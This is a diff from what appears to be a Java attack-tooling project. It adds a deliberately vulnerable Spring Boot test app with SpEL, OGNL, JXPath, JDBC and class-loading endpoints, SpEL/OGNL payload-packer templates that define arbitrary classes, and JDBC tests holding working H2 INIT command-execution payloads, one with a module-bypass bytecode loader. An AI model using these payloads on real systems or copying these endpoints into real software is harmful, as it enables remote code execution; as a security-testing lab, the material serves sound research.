String template = "newInstance(org.springframework.cglib.core.ReflectUtils.defineClass('{{className}}',org.springframework.util.StreamUtils.copyToByteArray(java.util.zip.GZIPInputStream.new(java.io.ByteArrayInputStream.new(decode(java.util.Base64.getDecoder(), ('{{base64Str}}'))))),getContextClassLoader(java.lang.Thread.currentThread()),getProtectionDomain(java.lang.Class.forName('org.springframework.expression.ExpressionParser')),java.lang.Class.forName('org.springframework.expression.ExpressionParser')))";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import static com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer.assertC
|
|||||||
* @since 2025/7/7
|
* @since 2025/7/7
|
||||||
*/
|
*/
|
||||||
public class OGNLSpringGzipJDK17Packer implements Packer {
|
public class OGNLSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@org.springframework.util.Base64Utils@decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
String template = "(@org.springframework.cglib.core.ReflectUtils@defineClass('{{className}}',@org.springframework.util.StreamUtils@copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(@java.util.Base64@getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],@java.lang.Thread@currentThread().getContextClassLoader()),null,@java.lang.Class@forName('org.springframework.expression.ExpressionParser'))).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
|
|||||||
+1
-1
@@ -9,7 +9,7 @@ import com.reajason.javaweb.packer.Packers;
|
|||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
public class SpELSpringGzipJDK17Packer implements Packer {
|
public class SpELSpringGzipJDK17Packer implements Packer {
|
||||||
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
String template = "T(org.springframework.cglib.core.ReflectUtils).defineClass('{{className}}',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(java.util.Base64).getDecoder().decode('{{base64Str}}')))),new java.net.URLClassLoader(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader()),null,T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()";
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public String pack(ClassPackerConfig config) {
|
public String pack(ClassPackerConfig config) {
|
||||||
|
|||||||
+2
-1
@@ -37,12 +37,13 @@ include("vul:vul-webapp")
|
|||||||
include("vul:vul-webapp-jakarta")
|
include("vul:vul-webapp-jakarta")
|
||||||
include("vul:vul-webapp-expression")
|
include("vul:vul-webapp-expression")
|
||||||
include("vul:vul-webapp-deserialize")
|
include("vul:vul-webapp-deserialize")
|
||||||
include("vul:vul-struct2")
|
include("vul:vul-struts2")
|
||||||
include("vul:vul-springboot1")
|
include("vul:vul-springboot1")
|
||||||
include("vul:vul-springboot2")
|
include("vul:vul-springboot2")
|
||||||
include("vul:vul-springboot2-jetty")
|
include("vul:vul-springboot2-jetty")
|
||||||
include("vul:vul-springboot2-undertow")
|
include("vul:vul-springboot2-undertow")
|
||||||
include("vul:vul-springboot3")
|
include("vul:vul-springboot3")
|
||||||
|
include("vul:vul-springboot359")
|
||||||
include("vul:vul-springboot2-webflux")
|
include("vul:vul-springboot2-webflux")
|
||||||
include("vul:vul-springboot3-webflux")
|
include("vul:vul-springboot3-webflux")
|
||||||
include("vul:vul-playframework")
|
include("vul:vul-playframework")
|
||||||
|
|||||||
@@ -0,0 +1,8 @@
|
|||||||
|
FROM eclipse-temurin:17.0.17_10-jdk
|
||||||
|
WORKDIR /app
|
||||||
|
|
||||||
|
COPY build/libs/vul-springboot3.jar /app/app.jar
|
||||||
|
|
||||||
|
EXPOSE 8080
|
||||||
|
|
||||||
|
ENTRYPOINT java $JAVA_OPTS -jar app.jar
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("war")
|
||||||
|
id("org.springframework.boot") version "3.5.9"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web")
|
||||||
|
providedRuntime("org.springframework.boot:spring-boot-starter-tomcat")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter-api")
|
||||||
|
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
runtimeOnly("com.h2database:h2")
|
||||||
|
implementation("ognl:ognl:2.7.3")
|
||||||
|
implementation("commons-jxpath:commons-jxpath:1.3")
|
||||||
|
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+10
@@ -0,0 +1,10 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
public class ClassDefiner extends ClassLoader {
|
||||||
|
private ClassDefiner() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Class<?> defineClass(byte[] code) {
|
||||||
|
return new ClassDefiner().defineClass(null, code, 0, code.length);
|
||||||
|
}
|
||||||
|
}
|
||||||
+12
@@ -0,0 +1,12 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3;
|
||||||
|
|
||||||
|
import org.springframework.boot.SpringApplication;
|
||||||
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
|
@SpringBootApplication
|
||||||
|
public class VulSpringboot3Application {
|
||||||
|
|
||||||
|
public static void main(String[] args) {
|
||||||
|
SpringApplication.run(VulSpringboot3Application.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.vul.springboot3.ClassDefiner;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/b64")
|
||||||
|
public class Base64ClassLoaderController {
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public String base64ClassLoader(String data) throws InstantiationException, IllegalAccessException {
|
||||||
|
byte[] bytes = Base64.getDecoder().decode(data);
|
||||||
|
Object o = ClassDefiner.defineClass(bytes).newInstance();
|
||||||
|
return o.toString();
|
||||||
|
}
|
||||||
|
}
|
||||||
+24
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/6
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/biginteger")
|
||||||
|
public class BigIntegerClassLoaderController extends ClassLoader {
|
||||||
|
static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
|
||||||
|
Class<?> decoderClass = Class.forName("java.math.BigInteger");
|
||||||
|
return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
|
||||||
|
}
|
||||||
|
|
||||||
|
@PostMapping
|
||||||
|
public void base64ClassLoader(String data) throws Exception {
|
||||||
|
byte[] bytes = decodeBigInteger(data);
|
||||||
|
defineClass(null, bytes, 0, bytes.length).newInstance();
|
||||||
|
}
|
||||||
|
}
|
||||||
+123
@@ -0,0 +1,123 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class IndexController {
|
||||||
|
|
||||||
|
@RequestMapping("/test")
|
||||||
|
public String test() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws Exception {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
try {
|
||||||
|
gzipInputStream.close();
|
||||||
|
} catch (IOException ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
for (Class<?> clazz = obj.getClass();
|
||||||
|
clazz != Object.class;
|
||||||
|
clazz = clazz.getSuperclass()) {
|
||||||
|
try {
|
||||||
|
return clazz.getDeclaredField(name);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(name);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
|
||||||
|
try {
|
||||||
|
Field field = getField(obj, name);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
} catch (NoSuchFieldException ignored) {
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@GetMapping("/")
|
||||||
|
public String index() {
|
||||||
|
return "hello";
|
||||||
|
}
|
||||||
|
}
|
||||||
+31
@@ -0,0 +1,31 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.sql.Connection;
|
||||||
|
import java.sql.DriverManager;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
public class JDBCController {
|
||||||
|
|
||||||
|
@PostMapping("/jdbc")
|
||||||
|
public void JDBC(String data) throws Exception {
|
||||||
|
try {
|
||||||
|
Connection connection = DriverManager.getConnection(data);
|
||||||
|
connection.close();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
Throwable ex = e.getCause();
|
||||||
|
while (ex.getCause() != null) {
|
||||||
|
ex = ex.getCause();
|
||||||
|
}
|
||||||
|
if (!(ex instanceof ClassCastException)) {
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+20
@@ -0,0 +1,20 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.apache.commons.jxpath.JXPathContext;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/jxpath")
|
||||||
|
public class JXPathController {
|
||||||
|
@PostMapping
|
||||||
|
protected Object doPost(String data) {
|
||||||
|
JXPathContext context = JXPathContext.newContext(null);
|
||||||
|
return context.getValue(data);
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import ognl.Ognl;
|
||||||
|
import ognl.OgnlContext;
|
||||||
|
import ognl.OgnlException;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/ognl")
|
||||||
|
public class OgnlController {
|
||||||
|
@RequestMapping
|
||||||
|
protected Object doPost(String data) {
|
||||||
|
OgnlContext context = new OgnlContext();
|
||||||
|
try {
|
||||||
|
return Ognl.getValue(data, context, context.getRoot());
|
||||||
|
} catch (OgnlException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+25
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.vul.springboot3.controller;
|
||||||
|
|
||||||
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||||
|
import org.springframework.expression.spel.support.StandardEvaluationContext;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@RequestMapping("/spel")
|
||||||
|
public class SpELController {
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 10000 长度限制,无法使用
|
||||||
|
*/
|
||||||
|
@PostMapping
|
||||||
|
public ResponseEntity<?> spel(String data) {
|
||||||
|
return ResponseEntity.ok().body(String.valueOf(new SpelExpressionParser().parseExpression(data).getValue(new StandardEvaluationContext())));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
spring.application.name=vul-springboot3
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class CommandExec {
|
||||||
|
static {
|
||||||
|
try {
|
||||||
|
java.lang.Runtime.getRuntime().exec("open -a Calculator");
|
||||||
|
} catch (IOException e) {
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,54 @@
|
|||||||
|
import com.reajason.javaweb.vul.springboot3.controller.JDBCController;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/6/27
|
||||||
|
*/
|
||||||
|
public class JDBCTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String funcionName = "testJDBC";
|
||||||
|
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS " + funcionName + " AS '" +
|
||||||
|
"String shellexec(String abc) throws java.lang.Exception{" +
|
||||||
|
"java.lang.Runtime.getRuntime().exec(\"open -a Calculator\")\\;" +
|
||||||
|
"return \"test\"\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL " + funcionName + "('123')";
|
||||||
|
jdbcController.JDBC(str);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testJDBC2() throws Exception {
|
||||||
|
JDBCController jdbcController = new JDBCController();
|
||||||
|
String b64Bytecode = "yv66vgAAAD0AIAoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgoACAAQDAARABIBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7BwAUAQATamF2YS9pby9JT0V4Y2VwdGlvbgcAFgEAC0NvbW1hbmRFeGVjAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA1MQ29tbWFuZEV4ZWM7AQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlAQAKU291cmNlRmlsZQEAEENvbW1hbmRFeGVjLmphdmEAIQAVAAIAAAAAAAIAAQAFAAYAAQAXAAAALwABAAEAAAAFKrcAAbEAAAACABgAAAAGAAEAAAAHABkAAAAMAAEAAAAFABoAGwAAAAgAHAAGAAEAFwAAAE8AAgABAAAADrgABxINtgAPV6cABEuxAAEAAAAJAAwAEwADABgAAAASAAQAAAAKAAkADQAMAAsADQAOABkAAAACAAAAHQAAAAcAAkwHABMAAAEAHgAAAAIAHw==";
|
||||||
|
String str = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS look AS '" +
|
||||||
|
"String a(String a) throws java.lang.Throwable{" +
|
||||||
|
"String base64Str=\"" + b64Bytecode + "\"\\;" +
|
||||||
|
"byte[] bytes=java.util.Base64.getDecoder().decode(base64Str)\\;" +
|
||||||
|
"try {" +
|
||||||
|
" java.lang.Class<?> unsafeClass = Class.forName(\"sun.misc.Unsafe\")\\;" +
|
||||||
|
" java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\")\\;" +
|
||||||
|
" unsafeField.setAccessible(true)\\;" +
|
||||||
|
" java.lang.Object unsafe = unsafeField.get(null)\\;" +
|
||||||
|
" java.lang.Object module = Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, (java.lang.Object[]) null)\\;" +
|
||||||
|
" java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class)\\;" +
|
||||||
|
" long offset = (Long) objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"))\\;" +
|
||||||
|
" java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, long.class, java.lang.Object.class)\\;" +
|
||||||
|
" java.lang.StackTraceElement[] stackTraceElements = java.lang.Thread.currentThread().getStackTrace()\\;" +
|
||||||
|
" java.lang.Class<?> callerClass = java.lang.Class.forName(stackTraceElements[1].getClassName())\\;" +
|
||||||
|
" getAndSetObjectM.invoke(unsafe, callerClass, offset, module)\\;" +
|
||||||
|
"} catch (Throwable e) {}" +
|
||||||
|
"java.lang.reflect.Method defMethod=java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\",bytes.getClass(),int.class,int.class)\\;" +
|
||||||
|
"defMethod.setAccessible(true)\\;" +
|
||||||
|
"java.lang.Class myclass=(java.lang.Class)defMethod.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytes,0,bytes.length)\\;" +
|
||||||
|
"myclass.newInstance()\\;" +
|
||||||
|
"return null\\;" +
|
||||||
|
"}'\\;" +
|
||||||
|
"CALL look('')";
|
||||||
|
System.out.println(str);
|
||||||
|
jdbcController.JDBC(str);
|
||||||
|
}
|
||||||
|
}
|
||||||
+139
-134
@@ -5,52 +5,53 @@
|
|||||||
"": {
|
"": {
|
||||||
"name": "fumadocs",
|
"name": "fumadocs",
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@base-ui/react": "^1.4.1",
|
"@base-ui/react": "^1.5.0",
|
||||||
"@hookform/resolvers": "^5.2.2",
|
"@hookform/resolvers": "^5.4.0",
|
||||||
"@orama/orama": "^3.1.18",
|
"@orama/orama": "^3.1.18",
|
||||||
"@orama/stopwords": "^3.1.18",
|
"@orama/stopwords": "^3.1.18",
|
||||||
"@orama/tokenizers": "^3.1.18",
|
"@orama/tokenizers": "^3.1.18",
|
||||||
"@react-router/node": "^7.14.2",
|
"@react-router/node": "^7.15.1",
|
||||||
"@tanstack/react-query": "^5.100.5",
|
"@tanstack/react-query": "^5.100.14",
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"framer-motion": "^12.38.0",
|
"framer-motion": "^12.40.0",
|
||||||
"fumadocs-core": "^16.8.4",
|
"fumadocs-core": "^16.9.1",
|
||||||
"fumadocs-mdx": "14.3.1",
|
"fumadocs-mdx": "15.0.8",
|
||||||
"fumadocs-ui": "16.8.4",
|
"fumadocs-ui": "16.9.1",
|
||||||
"i18next": "^26.0.8",
|
"i18next": "^26.2.0",
|
||||||
"isbot": "^5.1.39",
|
"isbot": "^5.1.40",
|
||||||
"lucide-react": "^1.11.0",
|
"lucide-react": "^1.16.0",
|
||||||
"motion": "^12.38.0",
|
"motion": "^12.40.0",
|
||||||
"react": "^19.2.5",
|
"react": "^19.2.6",
|
||||||
"react-copy-to-clipboard": "^5.1.1",
|
"react-copy-to-clipboard": "^5.1.1",
|
||||||
"react-dom": "^19.2.5",
|
"react-dom": "^19.2.6",
|
||||||
"react-hook-form": "^7.74.0",
|
"react-hook-form": "^7.76.1",
|
||||||
"react-i18next": "^17.0.4",
|
"react-i18next": "^17.0.8",
|
||||||
"react-medium-image-zoom": "^5.4.3",
|
"react-medium-image-zoom": "^5.4.5",
|
||||||
"react-syntax-highlighter": "^16.1.1",
|
"react-syntax-highlighter": "^16.1.1",
|
||||||
"sonner": "^2.0.7",
|
"sonner": "^2.0.7",
|
||||||
"tailwind-merge": "^3.5.0",
|
"tailwind-merge": "^3.6.0",
|
||||||
"tw-animate-css": "^1.4.0",
|
"tw-animate-css": "^1.4.0",
|
||||||
"yup": "^1.7.1",
|
"yup": "^1.7.1",
|
||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@react-router/dev": "^7.14.2",
|
"@react-router/dev": "^7.15.1",
|
||||||
"@tailwindcss/vite": "^4.2.4",
|
"@tailwindcss/vite": "^4.3.0",
|
||||||
"@types/mdx": "^2.0.13",
|
"@types/mdx": "^2.0.13",
|
||||||
"@types/node": "^25.6.0",
|
"@types/node": "^25.9.1",
|
||||||
"@types/react": "^19.2.14",
|
"@types/react": "^19.2.15",
|
||||||
"@types/react-copy-to-clipboard": "^5.0.7",
|
"@types/react-copy-to-clipboard": "^5.0.7",
|
||||||
"@types/react-dom": "^19.2.3",
|
"@types/react-dom": "^19.2.3",
|
||||||
"@types/react-syntax-highlighter": "^15.5.13",
|
"@types/react-syntax-highlighter": "^15.5.13",
|
||||||
"oxfmt": "^0.46.0",
|
"baseline-browser-mapping": "^2.10.32",
|
||||||
"oxlint": "^1.61.0",
|
"oxfmt": "^0.51.0",
|
||||||
|
"oxlint": "^1.66.0",
|
||||||
"react-router-devtools": "^6.2.0",
|
"react-router-devtools": "^6.2.0",
|
||||||
"rimraf": "^6.1.3",
|
"rimraf": "^6.1.3",
|
||||||
"serve": "^14.2.6",
|
"serve": "^14.2.6",
|
||||||
"tailwindcss": "^4.2.4",
|
"tailwindcss": "^4.3.0",
|
||||||
"typescript": "^6.0.3",
|
"typescript": "^6.0.3",
|
||||||
"vite": "^8.0.10",
|
"vite": "^8.0.14",
|
||||||
"vite-plugin-devtools-json": "^1.0.0",
|
"vite-plugin-devtools-json": "^1.0.0",
|
||||||
"vite-tsconfig-paths": "^6.1.1",
|
"vite-tsconfig-paths": "^6.1.1",
|
||||||
},
|
},
|
||||||
@@ -115,9 +116,9 @@
|
|||||||
|
|
||||||
"@babel/types": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
|
"@babel/types": ["@babel/[email protected]", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="],
|
||||||
|
|
||||||
"@base-ui/react": ["@base-ui/react@1.4.1", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.2.8", "@floating-ui/react-dom": "^2.1.8", "@floating-ui/utils": "^0.2.11", "use-sync-external-store": "^1.6.0" }, "peerDependencies": { "@date-fns/tz": "^1.2.0", "@types/react": "^17 || ^18 || ^19", "date-fns": "^4.0.0", "react": "^17 || ^18 || ^19", "react-dom": "^17 || ^18 || ^19" }, "optionalPeers": ["@date-fns/tz", "@types/react", "date-fns"] }, "sha512-Ab5/LIhcmL8BQcsBUYiOfkSDRdLpvgUBzMK30cu684JPcLclYlztharvCZyNNgzJtbAiREzI9q0pI5erHCMgCw=="],
|
